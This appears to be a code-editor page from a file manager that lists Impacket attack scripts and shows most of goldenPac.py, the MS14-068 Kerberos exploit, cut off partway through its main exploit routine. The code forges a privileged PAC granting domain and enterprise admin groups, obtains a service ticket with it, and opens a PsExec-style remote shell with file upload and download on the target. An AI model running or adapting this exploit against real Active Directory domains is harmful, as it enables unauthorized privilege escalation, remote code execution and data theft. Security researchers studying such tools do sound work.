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24.97
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addcomputer.py
31.22
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12.5
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getArch.py
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getPac.py
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getST.py
19.81
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getTGT.py
5.04
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goldenPac.py
49.36
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karmaSMB.py
28.32
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kintercept.py
9.52
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ldapdomaindump
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ldd2bloodhound
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ldd2pretty
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lookupsid.py
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mimikatz.py
10.02
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mqtt_check.py
3.15
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mssqlclient.py
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mssqlinstance.py
1.5
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netview.py
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nmapAnswerMachine.py
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ntfs-read.py
40.73
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ntlmrelayx.py
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pasteurize-script.py
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pasteurize.exe
64
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ping6.py
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psexec.py
20.78
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raiseChild.py
60.47
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rdp_check.py
23.15
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reg.py
19.05
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registry-read.py
5.23
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rpcdump.py
8.43
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rpcmap.py
17.08
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sambaPipe.py
12.7
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samrdump.py
10.86
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secretsdump.py
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services.py
17.08
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smbclient.py
5.13
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smbexec.py
15.8
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smbrelayx.py
58.72
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smbserver.py
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sniff.py
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sniffer.py
2.27
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split.py
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ticketConverter.py
2.06
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ticketer.py
42.33
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wmiexec.py
17.53
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Code Editor : goldenPac.py
#!C:\Python27\python.exe # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Author: Alberto Solino (@agsolino) # # Description: # MS14-068 Exploit. Kudos to @BiDOrD for pulling it up first! # Well done :). # This one also established a SMBConnection and PSEXEcs the # target. # A few important things: # 1) you must use the domain FQDN or use -dc-ip switch # 2) target must be a FQDN as well and matching the target's NetBIOS # 3) Just RC4 at the moment - DONE (aes256 added) # 4) It won't work on Kerberos-only Domains (but can be fixed) # 5) Use WMIEXEC approach instead # # E.G: # python goldenPac domain.net/normaluser@domain-host # the password will be asked, or # # python goldenPac.py domain.net/normaluser:mypwd@domain-host # # if domain.net and/or domain-host do not resolve, add them # to the hosts file or use the -dc-ip and -target-ip parameters # from __future__ import division from __future__ import print_function import cmd import logging import os import random import string import time from binascii import unhexlify from threading import Thread, Lock from six import PY3 from impacket.dcerpc.v5 import epm from impacket.dcerpc.v5.drsuapi import MSRPC_UUID_DRSUAPI, hDRSDomainControllerInfo, DRSBind, NTDSAPI_CLIENT_GUID, \ DRS_EXTENSIONS_INT, DRS_EXT_GETCHGREQ_V6, DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREQ_V8, DRS_EXT_STRONG_ENCRYPTION, \ NULLGUID from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2 from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket.krb5.pac import PKERB_VALIDATION_INFO, KERB_VALIDATION_INFO, KERB_SID_AND_ATTRIBUTES, PAC_CLIENT_INFO, \ PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \ PAC_PRIVSVR_CHECKSUM, PACTYPE from impacket.examples import logger from impacket.examples import remcomsvc, serviceinstall from impacket.smbconnection import SMBConnection, smb from impacket.structure import Structure ################################################################################ # HELPER FUNCTIONS ################################################################################ def getFileTime(t): t *= 10000000 t += 116444736000000000 return t class RemComMessage(Structure): structure = ( ('Command','4096s=""'), ('WorkingDir','260s=""'), ('Priority','<L=0x20'), ('ProcessID','<L=0x01'), ('Machine','260s=""'), ('NoWait','<L=0'), ) class RemComResponse(Structure): structure = ( ('ErrorCode','<L=0'), ('ReturnCode','<L=0'), ) RemComSTDOUT = "RemCom_stdout" RemComSTDIN = "RemCom_stdin" RemComSTDERR = "RemCom_stderr" lock = Lock() class PSEXEC: def __init__(self, command, username, domain, smbConnection, TGS, copyFile): self.__username = username self.__command = command self.__path = None self.__domain = domain self.__exeFile = None self.__copyFile = copyFile self.__TGS = TGS self.__smbConnection = smbConnection def run(self, addr): rpctransport = transport.SMBTransport(addr, filename='/svcctl', smb_connection=self.__smbConnection) dce = rpctransport.get_dce_rpc() try: dce.connect() except Exception as e: logging.critical(str(e)) sys.exit(1) global dialect dialect = rpctransport.get_smb_connection().getDialect() try: unInstalled = False s = rpctransport.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(100000) if self.__exeFile is None: installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc()) else: try: f = open(self.__exeFile, 'rb') except Exception as e: logging.critical(str(e)) sys.exit(1) installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f) installService.install() if self.__exeFile is not None: f.close() # Check if we need to copy a file for execution if self.__copyFile is not None: installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile)) # And we change the command to be executed to this filename self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command tid = s.connectTree('IPC$') fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f) packet = RemComMessage() pid = os.getpid() packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)]) if self.__path is not None: packet['WorkingDir'] = self.__path packet['Command'] = self.__command packet['ProcessID'] = pid s.writeNamedPipe(tid, fid_main, packet.getData()) # Here we'll store the command we type so we don't print it back ;) # ( I know.. globals are nasty :P ) global LastDataSent LastDataSent = '' # Create the pipes threads stdin_pipe = RemoteStdInPipe(rpctransport, r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, self.__TGS, installService.getShare()) stdin_pipe.start() stdout_pipe = RemoteStdOutPipe(rpctransport, r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']), smb.FILE_READ_DATA) stdout_pipe.start() stderr_pipe = RemoteStdErrPipe(rpctransport, r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), smb.FILE_READ_DATA) stderr_pipe.start() # And we stay here till the end ans = s.readNamedPipe(tid,fid_main,8) if len(ans): retCode = RemComResponse(ans) logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % ( self.__command, retCode['ErrorCode'], retCode['ReturnCode'])) installService.uninstall() if self.__copyFile is not None: # We copied a file for execution, let's remove it s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) unInstalled = True sys.exit(retCode['ErrorCode']) except SystemExit: raise except Exception as e: logging.debug(str(e)) if unInstalled is False: installService.uninstall() if self.__copyFile is not None: s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) sys.stdout.flush() sys.exit(1) def openPipe(self, s, tid, pipe, accessMask): pipeReady = False tries = 50 while pipeReady is False and tries > 0: try: s.waitNamedPipe(tid,pipe) pipeReady = True except Exception as e: print(str(e)) tries -= 1 time.sleep(2) pass if tries == 0: raise Exception('Pipe not ready, aborting') fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) return fid class Pipes(Thread): def __init__(self, transport, pipe, permissions, TGS=None, share=None): Thread.__init__(self) self.server = 0 self.transport = transport self.credentials = transport.get_credentials() self.tid = 0 self.fid = 0 self.share = share self.port = transport.get_dport() self.pipe = pipe self.permissions = permissions self.TGS = TGS self.daemon = True def connectPipe(self): try: lock.acquire() global dialect self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) self.server.setTimeout(1000000) except: logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) class RemoteStdOutPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid,self.fid, 0, 1024) except: pass else: try: global LastDataSent if ans != LastDataSent: sys.stdout.write(ans.decode('cp437')) sys.stdout.flush() else: # Don't echo what I sent, and clear it up LastDataSent = '' # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, # it will give false positives tho.. we should find a better way to handle this. if LastDataSent > 10: LastDataSent = '' except: pass class RemoteStdErrPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid,self.fid, 0, 1024) except: pass else: try: sys.stderr.write(str(ans)) sys.stderr.flush() except: pass class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, TGS, share): cmd.Cmd.__init__(self, False) self.prompt = '\x08' self.server = server self.transferClient = None self.tid = tid self.fid = fid self.credentials = credentials self.share = share self.port = port self.TGS = TGS self.intro = '[!] Press help for extra shell commands' def connect_transferClient(self): self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False) def do_help(self, line): print(""" lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir ! {cmd} - executes a local shell cmd """ % (self.share, self.share)) self.send_data('\r\n', False) def do_shell(self, s): os.system(s) self.send_data('\r\n') def do_get(self, src_path): try: if self.transferClient is None: self.connect_transferClient() import ntpath filename = ntpath.basename(src_path) fh = open(filename,'wb') logging.info("Downloading %s\\%s" % (self.share, src_path)) self.transferClient.getFile(self.share, src_path, fh.write) fh.close() except Exception as e: logging.error(str(e)) pass self.send_data('\r\n') def do_put(self, s): try: if self.transferClient is None: self.connect_transferClient() params = s.split(' ') if len(params) > 1: src_path = params[0] dst_path = params[1] elif len(params) == 1: src_path = params[0] dst_path = '/' src_file = os.path.basename(src_path) fh = open(src_path, 'rb') f = dst_path + '/' + src_file pathname = f.replace('/','\\') logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path)) if PY3: self.transferClient.putFile(self.share, pathname, fh.read) else: self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) fh.close() except Exception as e: logging.error(str(e)) pass self.send_data('\r\n') def do_lcd(self, s): if s == '': print(os.getcwd()) else: try: os.chdir(s) except Exception as e: logging.error(str(e)) self.send_data('\r\n') def emptyline(self): self.send_data('\r\n') return def default(self, line): if PY3: self.send_data(line.encode('cp437')+b'\r\n') else: self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n') def send_data(self, data, hideOutput = True): if hideOutput is True: global LastDataSent LastDataSent = data else: LastDataSent = '' self.server.writeFile(self.tid, self.fid, data) class RemoteStdInPipe(Pipes): def __init__(self, transport, pipe, permisssions, TGS=None, share=None): Pipes.__init__(self, transport, pipe, permisssions, TGS, share) def run(self): self.connectPipe() shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share) shell.cmdloop() class MS14_068: # 6.1. Unkeyed Checksums # Vulnerable DCs are accepting at least these unkeyed checksum types CRC_32 = 1 RSA_MD4 = 2 RSA_MD5 = 7 class VALIDATION_INFO(TypeSerialization1): structure = ( ('Data', PKERB_VALIDATION_INFO), ) def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='', copyFile=None, writeTGT=None, kdcHost=None): self.__username = username self.__password = password self.__domain = domain self.__rid = 0 self.__lmhash = '' self.__nthash = '' self.__target = target self.__targetIp = targetIp self.__kdcHost = None self.__copyFile = copyFile self.__command = command self.__writeTGT = writeTGT self.__domainSid = '' self.__forestSid = None self.__domainControllers = list() self.__kdcHost = kdcHost if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') self.__lmhash = unhexlify(self.__lmhash) self.__nthash = unhexlify(self.__nthash) def getGoldenPAC(self, authTime): # Ok.. we need to build a PAC_TYPE with the following items # 1) KERB_VALIDATION_INFO aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ')) unixTime = getFileTime(aTime) kerbdata = KERB_VALIDATION_INFO() kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >>32 # LogoffTime: A FILETIME structure that contains the time the client's logon # session should expire. If the session should not expire, this structure # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as # an indicator of when to warn the user that the allowed time is due to expire. kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF # KickOffTime: A FILETIME structure that contains LogoffTime minus the user # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the # client should not be logged off, this structure SHOULD have the dwHighDateTime # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. # The Kerberos service ticket end time is a replacement for KickOffTime. # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of # an account. A recipient of the PAC SHOULD<8> use this value as the indicator # of when the client should be forcibly disconnected. kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['PasswordLastSet']['dwLowDateTime'] = 0 kerbdata['PasswordLastSet']['dwHighDateTime'] = 0 kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 # PasswordMustChange: A FILETIME structure that contains the time at which # theclient's password expires. If the password will not expire, this # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the # dwLowDateTime member set to 0xFFFFFFFF. kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['EffectiveName'] = self.__username kerbdata['FullName'] = '' kerbdata['LogonScript'] = '' kerbdata['ProfilePath'] = '' kerbdata['HomeDirectory'] = '' kerbdata['HomeDirectoryDrive'] = '' kerbdata['LogonCount'] = 0 kerbdata['BadPasswordCount'] = 0 kerbdata['UserId'] = self.__rid kerbdata['PrimaryGroupId'] = 513 # Our Golden Well-known groups! :) groups = (513, 512, 520, 518, 519) kerbdata['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = group groupMembership['RelativeId'] = groupId groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['GroupIds'].append(groupMembership) kerbdata['UserFlags'] = 0 kerbdata['UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['LogonServer'] = '' kerbdata['LogonDomainName'] = self.__domain kerbdata['LogonDomainId'] = self.__domainSid kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD kerbdata['SubAuthStatus'] = 0 kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 kerbdata['FailedILogonCount'] = 0 kerbdata['Reserved3'] = 0 # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is # asserted by an authentication authority based on proof of possession of client credentials. #extraSids = ('S-1-18-1',) if self.__forestSid is not None: extraSids = ('%s-%s' % (self.__forestSid, '519'),) kerbdata['SidCount'] = len(extraSids) kerbdata['UserFlags'] |= 0x20 else: extraSids = () kerbdata['SidCount'] = len(extraSids) for extraSid in extraSids: sidRecord = KERB_SID_AND_ATTRIBUTES() sid = RPC_SID() sid.fromCanonical(extraSid) sidRecord['Sid'] = sid sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['ExtraSids'].append(sidRecord) kerbdata['ResourceGroupDomainSid'] = NULL kerbdata['ResourceGroupCount'] = 0 kerbdata['ResourceGroupIds'] = NULL validationInfo = self.VALIDATION_INFO() validationInfo['Data'] = kerbdata if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO') validationInfo.dump() print ('\n') validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents() validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob)) # 2) PAC_CLIENT_INFO pacClientInfo = PAC_CLIENT_INFO() pacClientInfo['ClientId'] = unixTime try: name = self.__username.encode('utf-16le') except UnicodeDecodeError: import sys name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le') pacClientInfo['NameLength'] = len(name) pacClientInfo['Name'] = name pacClientInfoBlob = pacClientInfo.getData() pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob)) # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA serverChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #serverChecksum['SignatureType'] = self.CRC_32 #serverChecksum['Signature'] = b'\x00'*4 # If you wanna do MD4, uncomment this #serverChecksum['SignatureType'] = self.RSA_MD4 #serverChecksum['Signature'] = b'\x00'*16 # If you wanna do MD5, uncomment this serverChecksum['SignatureType'] = self.RSA_MD5 serverChecksum['Signature'] = b'\x00'*16 serverChecksumBlob = serverChecksum.getData() serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob)) # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA privSvrChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #privSvrChecksum['SignatureType'] = self.CRC_32 #privSvrChecksum['Signature'] = b'\x00'*4 # If you wanna do MD4, uncomment this #privSvrChecksum['SignatureType'] = self.RSA_MD4 #privSvrChecksum['Signature'] = b'\x00'*16 # If you wanna do MD5, uncomment this privSvrChecksum['SignatureType'] = self.RSA_MD5 privSvrChecksum['Signature'] = b'\x00'*16 privSvrChecksumBlob = privSvrChecksum.getData() privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob)) # The offset are set from the beginning of the PAC_TYPE # [MS-PAC] 2.4 PAC_INFO_BUFFER offsetData = 8 + len(PAC_INFO_BUFFER().getData())*4 # Let's build the PAC_INFO_BUFFER for each one of the elements validationInfoIB = PAC_INFO_BUFFER() validationInfoIB['ulType'] = PAC_LOGON_INFO validationInfoIB['cbBufferSize'] = len(validationInfoBlob) validationInfoIB['Offset'] = offsetData offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8 pacClientInfoIB = PAC_INFO_BUFFER() pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) pacClientInfoIB['Offset'] = offsetData offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8 serverChecksumIB = PAC_INFO_BUFFER() serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) serverChecksumIB['Offset'] = offsetData offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8 privSvrChecksumIB = PAC_INFO_BUFFER() privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) privSvrChecksumIB['Offset'] = offsetData #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8 # Building the PAC_TYPE as specified in [MS-PAC] buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \ privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \ pacClientInfo.getData() + pacClientInfoAlignment buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment pacType = PACTYPE() pacType['cBuffers'] = 4 pacType['Version'] = 0 pacType['Buffers'] = buffers + buffersTail blobToChecksum = pacType.getData() # If you want to do CRC-32, ucomment this #serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff) #privSvrChecksum['Signature'] = struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff) # If you want to do MD4, ucomment this #serverChecksum['Signature'] = MD4.new(blobToChecksum).digest() #privSvrChecksum['Signature'] = MD4.new(serverChecksum['Signature']).digest() # If you want to do MD5, ucomment this serverChecksum['Signature'] = MD5.new(blobToChecksum).digest() privSvrChecksum['Signature'] = MD5.new(serverChecksum['Signature']).digest() buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment pacType['Buffers'] = buffers + buffersTail authorizationData = AuthorizationData() authorizationData[0] = noValue authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value) authorizationData[0]['ad-data'] = pacType.getData() return encoder.encode(authorizationData) def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime): # Get out Golden PAC goldenPAC = self.getGoldenPAC(authTime) decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) # Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT ifRelevant = AD_IF_RELEVANT() ifRelevant[0] = noValue ifRelevant[0]['ad-type'] = int(constants.AuthorizationDataType.AD_IF_RELEVANT.value) ifRelevant[0]['ad-data'] = goldenPAC encodedIfRelevant = encoder.encode(ifRelevant) # Key Usage 4 # TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with # the TGS session key (Section 5.4.1) encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None) tgsReq = TGS_REQ() reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append( constants.KDCOptions.forwardable.value ) opts.append( constants.KDCOptions.renewable.value ) opts.append( constants.KDCOptions.proxiable.value ) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = decodedTGT['crealm'].prettyPrint() now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.SystemRandom().getrandbits(31) seq_set_iter(reqBody, 'etype', (cipher.enctype,)) reqBody['enc-authorization-data'] = noValue reqBody['enc-authorization-data']['etype'] = int(cipher.enctype) reqBody['enc-authorization-data']['cipher'] = encryptedEncodedIfRelevant apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq,'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = decodedTGT['crealm'].prettyPrint() clientName = Principal() clientName.from_asn1( decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = False encodedPacRequest = encoder.encode(pacRequest) tgsReq['padata'][1] = noValue tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) tgsReq['padata'][1]['padata-value'] = encodedPacRequest message = encoder.encode(tgsReq) r = sendReceive(message, domain, kdcHost) # Get the session key tgs = decoder.decode(r, asn1Spec = TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, cipherText) encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0] newSessionKey = Key(cipher.enctype, encTGSRepPart['key']['keyvalue'].asOctets()) return r, cipher, sessionKey, newSessionKey def getForestSid(self): logging.debug('Calling NRPC DsrGetDcNameEx()') stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % self.__kdcHost rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(MSRPC_UUID_NRPC) resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0) forestName = resp['DomainControllerInfo']['DnsForestName'][:-1] logging.debug('DNS Forest name is %s' % forestName) dce.disconnect() logging.debug('Calling LSAT hLsarQueryInformationPolicy2()') stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % forestName rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(MSRPC_UUID_LSAT) resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES) policyHandle = resp['PolicyHandle'] resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) dce.disconnect() forestSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical() logging.info("Forest SID: %s"% forestSid) return forestSid def getDomainControllers(self): logging.debug('Calling DRSDomainControllerInfo()') stringBinding = epm.hept_map(self.__domain, MSRPC_UUID_DRSUAPI, protocol = 'ncacn_ip_tcp') rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(MSRPC_UUID_DRSUAPI) request = DRSBind() request['puuidClientDsa'] = NTDSAPI_CLIENT_GUID drs = DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = DRS_EXT_GETCHGREQ_V6 | DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = NULLGUID drs['dwExtCaps'] = 127 request['pextClient']['cb'] = len(drs.getData()) request['pextClient']['rgb'] = list(drs.getData()) resp = dce.request(request) dcs = hDRSDomainControllerInfo(dce, resp['phDrs'], self.__domain, 1) dce.disconnect() domainControllers = list() for dc in dcs['pmsgOut']['V1']['rItems']: logging.debug('Found domain controller %s' % dc['DnsHostName'][:-1]) domainControllers.append(dc['DnsHostName'][:-1]) return domainControllers def getUserSID(self): stringBinding = r'ncacn_np:%s[\pipe\samr]' % self.__kdcHost rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) resp = samr.hSamrConnect(dce) serverHandle = resp['ServerHandle'] resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, self.__domain) domainId = resp['DomainId'] resp = samr.hSamrOpenDomain(dce, serverHandle, domainId = domainId) domainHandle = resp['DomainHandle'] resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.__username,)) # Let's pick the relative ID rid = resp['RelativeIds']['Element'][0]['Data'] logging.info("User SID: %s-%s"% (domainId.formatCanonical(), rid)) return domainId, rid def exploit(self): if self.__kdcHost is None: getDCs = True self.__kdcHost = self.__domain else: getDCs = False self.__domainSid, self.__rid = self.getUserSID() try: self.__forestSid = self.getForestSid() except Exception as e: # For some reason we couldn't get the forest data. No problem, we can still continue # Only drawback is we won't get forest admin if successful logging.error('Couldn\'t get forest info (%s), continuing' % str(e)) self.__forestSid = None if getDCs is False: # User specified a DC already, no need to get the list 